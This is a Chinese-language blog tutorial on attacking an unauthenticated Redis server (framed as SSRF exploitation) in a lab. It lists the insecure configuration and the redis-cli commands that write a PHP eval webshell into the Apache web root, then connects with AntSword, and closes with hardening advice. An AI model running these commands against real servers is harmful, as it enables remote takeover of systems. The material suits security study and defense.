SSRF 漏洞利用 Redis 实战全解析:原理、攻击与防范
目录
前言
SSRF 漏洞深度剖析
Redis:强大的内存数据库
Redis 产生漏洞的原因
SSRF 漏洞利用 Redis 实战步骤
准备环境
下载安装 Redis
配置漏洞环境
启动 Redis
攻击机远程连接 Redis
利用 Redis 写 Webshell
防范措施
前言
在网络安全领域,SSRF漏洞与Redis结合的攻击极具威胁。本文先介绍SSRF和Redis概念、Redis作用及产生漏洞原因,接着详细呈现利用SSRF漏洞操控Redis写入Webshell的实战步骤,最后给出针对性防范措施,助你提升网络安全防护能力。
SSRF 漏洞深度剖析
SSRF(Server - Side Request Forgery,服务器端请求伪造),是一种源于服务器端的安全漏洞。正常情况下,服务器端会根据用户的请求去访问其他服务器资源。但在存在 SSRF 漏洞时,攻击者可以通过精心构造恶意请求,让服务器以自身的身份去访问那些本不该访问的资源,比如内网的敏感服务、未授权的外部链接等。这就好比攻击者披上了服务器的 “外衣”,借助服务器的权限来实现自己的恶意目的,而服务器往往对这种伪装毫无察觉。
Redis:强大的内存数据库
Redis(Remote Dictionary Server)是一款基于内存的开源键值对存储数据库,以其高性能、低延迟而闻名。它支持多种数据结构,如字符串、哈希表、列表、集合等,这使得它在各种应用场景中都能大显身手。Redis 主要有以下作用:
- 缓存数据:在 Web 应用中,将频繁访问的数据存储在 Redis 中,大大减少数据库的负载,提高系统响应速度。例如电商网站的商品信息、用户登录状态等,都可以缓存到 Redis 中。
- 消息队列:利用 Redis 的列表数据结构,可以实现简单高效的消息队列。生产者将消息发送到队列中,消费者从队列中获取消息进行处理,常用于异步任务处理、日志收集等场景。
- 分布式锁:在分布式系统中,通过 Redis 的原子操作来实现分布式锁,确保同一时间只有一个节点能够执行特定的任务,避免数据冲突和不一致。
Redis 产生漏洞的原因
- 配置不当:如本文实战中,将 Redis 绑定到 0.0.0.0,这意味着 Redis 可以接受来自任何 IP 地址的连接请求。同时关闭保护模式,使得 Redis 失去了基本的安全防护,攻击者可以轻易连接到 Redis 服务。
- 未授权访问:如果 Redis 没有设置密码或者密码过于简单,攻击者就能够直接访问 Redis,执行各种命令,包括修改配置、写入恶意数据等。
- 与其他漏洞结合:当 Redis 与存在 SSRF 漏洞的服务器结合时,攻击者可以利用 SSRF 漏洞,通过服务器间接控制 Redis,绕过网络限制,实现更复杂的攻击。
SSRF 漏洞利用 Redis 实战步骤
使用命令
wget http://download.redis.io/releases/redis-6.0.16.tar.gz #下载安装 Redis
tar xf redis-6.0.16.tar.gz #解压下载的安装包
cd redis-6.0.16/ #进入解压后的 Redis 目录
make && make install #编译安装
vim redis.conf #编辑redis文件
./src/redis - server redis.conf & #启动redis服务
redis - cli - h 10.0.0.107 - p 6379 #攻击机连接redis
service apache2 start #开启apache
netstat - tnulp #查看端口信息
config set dir /var/www/html/ #将 Redis 的持久化目录设置为 Web 服务器的根目录
config set dbfilename webshell.php #动态修改 Redis 服务器持久化文件的文件名
set webshell "\n\n\n<?php @eval($_POST['123'])?> \n\n\n" #向 Redis 中存储包含恶意代码的内容
save #触发 Redis 的持久化操作
准备环境
- 企业系统 kali 系统 200:作为 Redis 服务的部署环境,后续将成为攻击目标。在此系统上下载安装 Redis,为漏洞利用提供基础。
- 攻击机 kali :用于发起攻击操作,模拟攻击者的视角,执行一系列恶意操作。
下载安装 Redis
- 下载 Redis - 6.0.16:使用wget命令从官方源下载安装包

- 解压:通过tar命令解压下载的压缩包,为后续安装做准备:

- 进入 Redis 目录:进入解压后的 Redis 目录,准备进行编译安装:

- 编译安装:执行make和make install命令,完成 Redis 的编译和安装:

配置漏洞环境
编辑 Redis 配置文件redis.conf,进行危险配置:

修改以下关键配置:
bind 0.0.0.0 #允许任意IP连接,使Redis暴露在公网风险中protected mode no #关闭保护模式,执行命令不受限制
这样的配置使得 Redis 服务处于高度危险状态,为攻击者提供了可乘之机。
启动 Redis
启动 Redis 服务,使其监听默认端口 6379
攻击机远程连接 Redis
在攻击机上,使用redis - cli命令连接到目标 Redis 服务
由于之前的危险配置,攻击机无需任何验证即可成功连接到 Redis 服务,这是攻击的第一步。
利用 Redis 写 Webshell
- 准备被攻击环境(被攻击者 120):在被攻击机上启动 Apache 网站服务,为 Webshell 的写入提供环境

通过netstat命令检查服务启动情况,确保 Apache 和 Redis 服务正常运行![]()
- 写入 Webshell:在攻击机连接的 Redis 客户端中,执行一系列命令来写入 Webshell

这些命令依次将 Redis 的持久化目录设置为 Apache 网站根目录,将持久化文件名设置为webshell.php,设置包含恶意 PHP 代码的键值对,并执行持久化操作,从而在 Apache 网站根目录下生成一个可执行任意 PHP 代码的 Webshell 文件。
- 查看目标代码目录:在被攻击机上查看/var/www/html/目录,确认webshell.php文件已成功生成

- 使用 AntSword 连接:利用 AntSword 等 Webshell 管理工具,配置连接地址为被攻击机的 IP 地址加上webshell.php路径,密码为webshell中已写入的密码,即可成功连接到目标服务器,实现对服务器的远程控制,执行系统命令、上传下载文件等操作。

防范措施
- 合理配置 Redis:避免将 Redis 绑定到 0.0.0.0,只绑定到内部可信的 IP 地址。启用保护模式protected mode yes,并设置高强度密码,通过requirepass配置项实现。
- 输入验证与过滤:对服务器端接收的所有用于发起请求的输入参数进行严格验证和过滤,确保其符合预期格式和范围,防止恶意构造。
- 限制请求范围:配置白名单,限制服务器只能访问特定的域名和 IP 地址,对于内部服务,如 Redis,确保只有授权服务器可以访问。
- 定期更新软件:保持 Redis 和服务器操作系统、相关软件的更新,及时修复已知安全漏洞。
网络安全是一场持续的战斗,了解 SSRF 漏洞利用 Redis 的攻击方式和防范措施,是保障网络安全的重要一步。希望本文能帮助读者提升安全意识,在实际应用中有效防范此类安全威胁。
相关文章:
SSRF 漏洞利用 Redis 实战全解析:原理、攻击与防范
目录 前言 SSRF 漏洞深度剖析 Redis:强大的内存数据库 Redis 产生漏洞的原因 SSRF 漏洞利用 Redis 实战步骤 准备环境 下载安装 Redis 配置漏洞环境 启动 Redis 攻击机远程连接 Redis 利用 Redis 写 Webshell 防范措施 前言 在网络安全领域࿰…...
kubernetes学习-配置管理(九)
一、ConfigMap (1)通过指定目录,创建configmap # 创建一个config目录 [rootk8s-master k8s]# mkdir config[rootk8s-master k8s]# cd config/ [rootk8s-master config]# mkdir test [rootk8s-master config]# cd test [rootk8s-master test…...
python 语音识别
目录 一、语音识别 二、代码实践 2.1 使用vosk三方库 2.2 使用SpeechRecognition 2.3 使用Whisper 一、语音识别 今天识别了别人做的这个app,觉得虽然是个日记app 但是用来学英语也挺好的,能进行语音识别,然后矫正语法,自己说的时候 ,实在不知道怎么说可以先乱说,然…...
一文速览DeepSeek-R1的本地部署——可联网、可实现本地知识库问答:包括671B满血版和各个蒸馏版的部署
前言 自从deepseek R1发布之后「详见《一文速览DeepSeek R1:如何通过纯RL训练大模型的推理能力以比肩甚至超越OpenAI o1(含Kimi K1.5的解读)》」,deepseek便爆火 爆火以后便应了“人红是非多”那句话,不但遭受各种大规模攻击,即便…...
[mmdetection]fast-rcnn模型训练自己的数据集的详细教程
本篇博客是由本人亲自调试成功后的学习笔记。使用了mmdetection项目包进行fast-rcnn模型的训练,数据集是自制图像数据。废话不多说,下面进入训练步骤教程。 注:本人使用linux服务器进行展示,Windows环境大差不差。另外࿰…...
1. Kubernetes组成及常用命令
Pods(k8s最小操作单元)ReplicaSet & Label(k8s副本集和标签)Deployments(声明式配置)Services(服务)k8s常用命令Kubernetes(简称K8s)是一个开源的容器编排系统,用于自动化应用程序的部署、扩展和管理。自2014年发布以来,K8s迅速成为容器编排领域的行业标准,被…...
linux下ollama更换模型路径
Linux下更换Ollama模型下载路径指南 在使用Ollama进行AI模型管理时,有时需要根据实际需求更改模型文件的存储路径。本文将详细介绍如何在Linux系统中更改Ollama模型的下载路径。 一、关闭Ollama服务 在更改模型路径之前,需要先停止Ollama服务。…...
本地Ollama部署DeepSeek R1模型接入Word
目录 1.本地部署DeepSeek-R1模型 2.接入Word 3.效果演示 4.问题反馈 上一篇文章办公新利器:DeepSeekWord,让你的工作更高效-CSDN博客https://blog.csdn.net/qq_63708623/article/details/145418457?spm1001.2014.3001.5501https://blog.csdn.net/qq…...
【自学笔记】Git的重点知识点-持续更新
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 Git基础知识Git高级操作与概念Git常用命令 总结 Git基础知识 Git简介 Git是一种分布式版本控制系统,用于记录文件内容的改动,便于开发者追踪…...
[EAI-028] Diffusion-VLA,能够进行多模态推理和机器人动作预测的VLA模型
Paper Card 论文标题:Diffusion-VLA: Scaling Robot Foundation Models via Unified Diffusion and Autoregression 论文作者:Junjie Wen, Minjie Zhu, Yichen Zhu, Zhibin Tang, Jinming Li, Zhongyi Zhou, Chengmeng Li, Xiaoyu Liu, Yaxin Peng, Chao…...
实现数组的扁平化
文章目录 1 实现数组的扁平化1.1 递归1.2 reduce1.3 扩展运算符1.4 split和toString1.5 flat1.6 正则表达式和JSON 1 实现数组的扁平化 1.1 递归 通过循环递归的方式,遍历数组的每一项,如果该项还是一个数组,那么就继续递归遍历,…...
登录认证(5):过滤器:Filter
统一拦截 上文我们提到(登录认证(4):令牌技术),现在大部分项目都使用JWT令牌来进行会话跟踪,来完成登录功能。有了JWT令牌可以标识用户的登录状态,但是完整的登录逻辑如图所示&…...
pytorch实现门控循环单元 (GRU)
人工智能例子汇总:AI常见的算法和例子-CSDN博客 特性GRULSTM计算效率更快,参数更少相对较慢,参数更多结构复杂度只有两个门(更新门和重置门)三个门(输入门、遗忘门、输出门)处理长时依赖一般适…...
Word List 2
词汇颜色标识解释 词汇表中的生词 词汇表中的词组成的搭配、派生词 例句中的生词 我自己写的生词(用于区分易混淆的词,无颜色标识) 不认识的单词或句式 单词的主要汉语意思 不太理解的句子语法和结构 Word List 2 英文音标中文regi…...
机器学习常用包numpy篇(四)函数运算
目录 前言 一、三角函数 二、双曲函数 三、数值修约 四、 求和、求积与差分 五、 指数与对数 六、算术运算 七、 矩阵与向量运算 八、代数运算 九、 其他数学工具 总结 前言 Python 的原生运算符可实现基础数学运算(加减乘除、取余、取整、幂运算&#…...
CSS in JS
css in js css in js 的核心思想是:用一个 JS 对象来描述样式,而不是 css 样式表。 例如下面的对象就是一个用于描述样式的对象: const styles {backgroundColor: "#f40",color: "#fff",width: "400px",he…...
TCP 丢包恢复策略:代价权衡与优化迷局
网络物理层丢包是一种需要偿还的债务,可以容忍低劣的传输质量,这为 UDP 类服务提供了空间,而对于 TCP 类服务,可以用另外两类代价来支付: 主机端采用轻率的 GBN 策略恢复丢包,节省 CPU 资源,但…...
面经--C语言——内存泄漏、malloc和new的区别 .c文件怎么转换为可执行程序 uart和usart的区别 继承的访问权限总结
文章目录 内存泄漏预防内存泄漏的方法: malloc和new的区别.c文件怎么转换为可执行程序uart和usart的区别继承的访问权限总结访问控制符总结1. **public**:2. **protected**:3. **private**:继承类型: 内存泄漏 内存泄漏是指程序在运行时动态分配内存后&…...
Denavit-Hartenberg DH MDH坐标系
Denavit-Hartenberg坐标系及其规则详解 6轴协作机器人的MDH模型详细图_6轴mdh-CSDN博客 N轴机械臂的MDH正向建模,及python算法_mdh建模-CSDN博客 运动学3-----正向运动学 | 鱼香ROS 机器人学:MDH建模 - 哆啦美 - 博客园 机械臂学习——标准DH法和改进MDH…...
力扣动态规划-20【算法学习day.114】
前言 ###我做这类文章一个重要的目的还是记录自己的学习过程,我的解析也不会做的非常详细,只会提供思路和一些关键点,力扣上的大佬们的题解质量是非常非常高滴!!! 习题 1.网格中的最小路径代价 题目链接…...
Tauri开发手记——1.从零到一:环境搭建与首次构建实战
1. 环境准备:从零搭建Tauri开发环境 第一次接触Tauri开发时,环境搭建往往是最让人头疼的环节。作为一个跨平台桌面应用框架,Tauri需要同时处理前端和后端(Rust)的依赖关系。我在Windows系统上踩过不少坑,现…...
AI 模型量化精度与推理速度平衡
AI模型量化精度与推理速度平衡:智能时代的效率与质量博弈 在人工智能技术快速发展的今天,AI模型的部署效率成为关键挑战。模型量化技术通过降低计算精度来提升推理速度,但如何在精度损失与速度提升之间找到平衡,成为开发者关注的…...
如何快速使用网站历史查看器:新手完整入门教程
如何快速使用网站历史查看器:新手完整入门教程 【免费下载链接】wayback-machine-webextension A web browser extension for Chrome, Firefox, Edge, and Safari 14. 项目地址: https://gitcode.com/gh_mirrors/wa/wayback-machine-webextension 你是否曾经…...
java新手福音:用快马ai生成渐进式八股文学习项目,轻松入门核心知识
作为一个Java新手,刚开始接触"八股文"这个概念时,我完全摸不着头脑。直到在InsCode(快马)平台上尝试了他们的Java学习项目生成功能,才发现原来枯燥的理论知识可以变得这么生动有趣。 渐进式学习路径设计 这个项目最让我惊喜的是它的…...
阿里巴巴Sentinel流量控制:从基础概念到核心算法实现
阿里巴巴Sentinel流量控制:从基础概念到核心算法实现 【免费下载链接】Sentinel alibaba/Sentinel: Sentinel 是阿里巴巴开源的一款面向分布式服务架构的流量控制、熔断降级组件,提供实时监控、限流、降级和系统保护功能,适用于微服务治理场景…...
【PyCon官方认证异步实践标准】:基于aiohttp+uvloop+trio的工业级异步架构设计(含GitHub千星项目源码解析)
第一章:Python异步I/O的核心范式与演进脉络Python异步I/O并非一蹴而就的产物,而是从回调驱动、协程模拟,到原生语法支持的渐进式演进结果。其核心范式始终围绕“单线程并发执行I/O密集型任务”这一目标展开——通过事件循环调度可暂停/恢复的…...
告别重复造轮子:用快马AI一键生成极客日报的高效数据管道代码
告别重复造轮子:用快马AI一键生成极客日报的高效数据管道代码 作为一个技术资讯类应用的开发者,我深知数据管道的搭建有多耗时。从内容抓取到清洗处理,再到分类归档,每个环节都需要大量重复性编码。最近尝试了InsCode(快马)平台的…...
在Windows上用C++部署YOLO11模型:从PyTorch训练到QT桌面应用的全流程避坑指南
工业级YOLO11模型C部署实战:从PyTorch到QT6.9的工程化落地指南 当Python训练的AI模型需要真正投入生产线时,C部署往往成为必经之路。去年在为某电子元件制造商部署电容极性检测系统时,我深刻体会到从Jupyter Notebook到稳定运行的Windows桌面…...
VMware ESXi上玩转Proxmox VE:手把手教你搭建家庭虚拟化实验室(含OpenWrt配置)
VMware ESXi与Proxmox VE的融合实践:打造高性能家庭虚拟化平台 在家庭技术爱好者的世界里,搭建一个功能强大且灵活的虚拟化环境已经成为一种趋势。将VMware ESXi与Proxmox VE这两种优秀的虚拟化平台结合起来,不仅能充分利用现有硬件资源&…...
如何快速上手MOOTDX:Python量化分析者的通达信数据完整实战手册
如何快速上手MOOTDX:Python量化分析者的通达信数据完整实战手册 【免费下载链接】mootdx 通达信数据读取的一个简便使用封装 项目地址: https://gitcode.com/GitHub_Trending/mo/mootdx MOOTDX是一个专门为Python开发者设计的通达信数据接口封装库࿰…...
